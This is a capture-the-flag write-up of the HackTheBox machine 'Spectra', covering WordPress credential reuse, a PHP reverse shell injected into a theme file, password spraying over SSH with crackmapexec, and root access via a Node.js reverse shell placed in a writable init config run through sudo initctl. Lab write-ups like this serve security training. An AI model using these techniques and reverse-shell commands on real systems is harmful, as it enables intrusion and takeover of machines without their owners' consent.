HackTheBox - Spectra

HackTheBox - Spectra

Spectra is an easy machine from HackTheBox that runs a Chrome OS. It starts by enumerating a WordPress website, which has a directory listing enabled, thus exposing its source code. Examining the source reveals a database password that is reused by the wordpress admin. With administrator access, I’m able to inject a PHP code into a theme file to get a foothold on the system. Enumerating the internal discovers an auto-login password, and it is reused by a user. The user has sudo permissions on initctl, which can be exploited to get a root shell.

Skills Learned

  • WordPress exploitation
  • Command injection
  • Sudo exploitation on initctl


  • Nmap
  • CrackMapExec



nmap full scan discovers three open ports: SSH on port 22, Nginx web server in port 80, and MySQL.

→ root@kali «spectra» «» 
$ nmap -p- -sV --reason -oA nmap/10-allport
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 10:10 EDT
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.052s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx 1.17.4
3306/tcp open  mysql   syn-ack ttl 63 MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.14 seconds

MySQL service is normally tied to, but nmap already identified that I have no access there.

Running a script scan didn’t find any interesting information.


TCP 80 - spectra.htb

The site appears to be under development.


Inspecting page source discovers a hostname and two directories:


I’ll update my /etc/hosts with the hostname.

→ root@kali «spectra» «» 
$ echo ' spectra.htb' >> /etc/hosts

Poking with curl, shows that with or without the hostname it’s the same site.

→ root@kali «~» «» 
$ curl -s http://spectra.htb/ | wc -c
→ root@kali «~» «» 
$ curl -s | wc -c

Clicking on “Software Issue Tracker”, redirects to a WordPress site and nothing interesting except one default post by administrator.


Visiting “Test”, the site page shows an error message about database connection.


Removing index.php from URL, reveals that this page has directory listing enabled.


The wp-config.php.save file draws my attention. It contains a set of database credentials.

→ root@kali «spectra» «» 
$ curl http://spectra.htb/testing/wp-config.php.save

define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );


Shell as nginx

WP-Admin Dashboard

The database password works with administrator account (administrator:devteam01), it allows me to access the admin dashboard.


Injecting Reverse Shell

Armed with administrator access, I can inject a malicious PHP code into one of the available themes files and execute it by visiting the full URL of the theme file. In this case, I’ll inject a reverse shell script in 404.php file of the Twenty Nineteen theme. The file can be found at Appearance > Theme Editor.


I’ll access this URL to get a shell: http://spectra.htb/main/wp-content/themes/twentynineteen/404.php, but it returns an error message pointing on line 12.


I’m able to resolve the error by commenting out the line 12.


This time, I’ll trigger the reverse shell using curl.

→ root@kali «spectra» «» 
$ curl -s http://spectra.htb/main/wp-content/themes/twentynineteen/404.php

On my listener.

→ root@kali «spectra» «» 
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 35166
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 AMD EPYC 7302P 16-Core Processor AuthenticAMD GNU/Linux
 09:14:42 up 10:53,  0 users,  load average: 0.02, 0.04, 0.00
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ hostname

Shell upgrade

My current shell doesn’t have PATH variable set, so I have to use the full path to upgrade my shell.

$ which python3
which: no python3 in ((null))
$ ls /usr/bin/ | grep python 
$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
nginx@spectra / $ export TERM=xterm
nginx@spectra / $ ^Z
[1]  + 7285 suspended  nc -nvlp 9001
→ root@kali «spectra» «» 
$ stty raw -echo; fg
[1]  + 7285 continued  nc -nvlp 9001

nginx@spectra / $ 

To resolve the ((null)) message, I’ll add /usr/bin to current PATH variable.

nginx@spectra / $ env
nginx@spectra / $ export PATH=$PATH:/usr/bin 
nginx@spectra / $ which python

Privilege Escalation

Shell as katie

Internal Enumeration

There are 4 users with login shell in this machine.

nginx@spectra / $ cat /etc/passwd | grep sh$  

Enumerating home directory shows the user flag is on katie’s home directory.

nginx@spectra / $ ls -lR /home 2>/dev/null
total 8
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt

All the web files are located in /usr/local/share/nginx/html/.

nginx@spectra / $ find / -type f -name wp-config.php 2>/dev/null

The wp-config.php file for /main has different credentials with the one on /testing. I’ll grab these credentials.

nginx@spectra / $ cat /usr/local/share/nginx/html/main/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'dev' );

/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );

In /opt, there is a file with uncommon extension called autologin.conf.orig.

nginx@spectra /opt $ cat autologin.conf.orig 
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
  if [ -z "${passwd}" ]; then
    exit 0

Based on the comments, the file is an autologin script. It looks for passwd file in these directories:

  • /mnt/stateful_partition/etc/autologin
  • /etc/autologin

And the passwd file in /etc/autologin/ directory contains a password.

nginx@spectra /opt $ ls -l /etc/autologin/             
total 4
-rw-r--r-- 1 root root 19 Feb  3 16:43 passwd
nginx@spectra /opt $ cat /etc/autologin/passwd 

SSH - katie

I’ll spray SummerHereWeCome!! and development01 using crackmapexec to the users who have login shell. Within a few sec, it returns that katie:SummerHereWeCome!! are the valid credentials.

→ root@kali «spectra» «» 
$ crackmapexec ssh -u users.list -p passwords.list
SSH    22     [*] SSH-2.0-OpenSSH_8.1
SSH    22     [-] chronos:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] chronos:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] chronos:SummerHereWeCome!! Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] katie:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] katie:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [+] katie:SummerHereWeCome!!

I’m able to login via SSH

→ root@kali «spectra» «» 
$ ssh katie@
katie@spectra ~ $ id 
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)

User flag is done here.

katie@spectra ~ $ ls -la
total 36
drwxr-xr-x 5 katie katie 4096 May 15 12:17 .
drwxr-xr-x 8 root  root  4096 Feb  2 15:55 ..
lrwxrwxrwx 1 root  root     9 Feb  2 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 katie katie  127 Dec 22 05:46 .bash_logout
-rw-r--r-- 1 katie katie  204 Dec 22 05:46 .bash_profile
-rw-r--r-- 1 katie katie  551 Dec 22 05:46 .bashrc
drwx------ 2 katie katie 4096 May 15 12:17 .gnupg
drwx------ 3 katie katie 4096 Jan 15 15:55 .pki
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt

Shell as root

Internal Enumeration

The first thing I will check if I have the user’s password is the sudo rights, and this user has one on initctl. Unfortunately, initctl is not listed on GTFObins site, so I’ll have to look around.

katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

Enumerating for files owned by developers discovers some writable .conf files and a JavaScript file.

katie@spectra ~ $ find / -type f -group developers -ls 2>/dev/null
    32121      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test6.conf
    32123      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test7.conf
    32109      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test3.conf
    32112      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test4.conf
    32103      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test.conf
    32126      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test8.conf
    32128      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test9.conf
    32106      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test10.conf
    32108      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test2.conf
    32120      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test5.conf
    32105      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test1.conf
    23763      4 -rwxrwxr-x   1 root     developers      251 Jun 29  2020 /srv/nodetest.js

These .conf files are configuration scripts to start /srv/nodetest.js. The JS file itself is not that important here.

katie@spectra ~ $ cat /etc/init/test.conf 
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown


    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

Abusing sudo initctl

With sudo privileges and write access on the configuration files, I can perform a command injection to send myself a root shell.

In this write-up, I’d like to try injecting a node reverse shell.

First, I’ll create a copy of the configuration file, which contains reverse shell to my machine and it is without the pre and post script part. I’ll name it exploit.conf:

→ root@kali «exploits» «»
$ cat exploit.conf
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown


    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    export RHOST=
    export RPORT=9001
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node -e 'sh = child_process.spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () {
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

After that, I’ll transfer the file to Spectra in /dev/shm directory.

→ root@kali «exploits» «»
$ scp exploit.conf katie@
bash: warning: /home/katie/.bashrc: warning: script from noexec mount; see https://chromium.googlesource.com/chromiumos/docs/+/master/security/noexec_shell_scripts.md
exploit.conf                               100%  775    13.1KB/s   00:00

I’ll setup a nc listener on my Kali and execute the following command.

katie@spectra /etc/init $ sudo /sbin/initctl stop test5 2>/dev/null; cat /dev/shm/exploit.conf > test5.conf && sudo /sbin/initctl start test5
test5 start/running, process 33889

If I check my listener, I have a root shell now.

→ root@kali «spectra» «»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 37220
id && hostname && ip a
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:0b:2c brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::15c7:10de:7382:baf8/64 scope global temporary dynamic
       valid_lft 86303sec preferred_lft 14303sec
    inet6 dead:beef::250:56ff:feb9:b2c/64 scope global dynamic mngtmpaddr
       valid_lft 86303sec preferred_lft 14303sec
    inet6 fe80::250:56ff:feb9:b2c/64 scope link
       valid_lft forever preferred_lft forever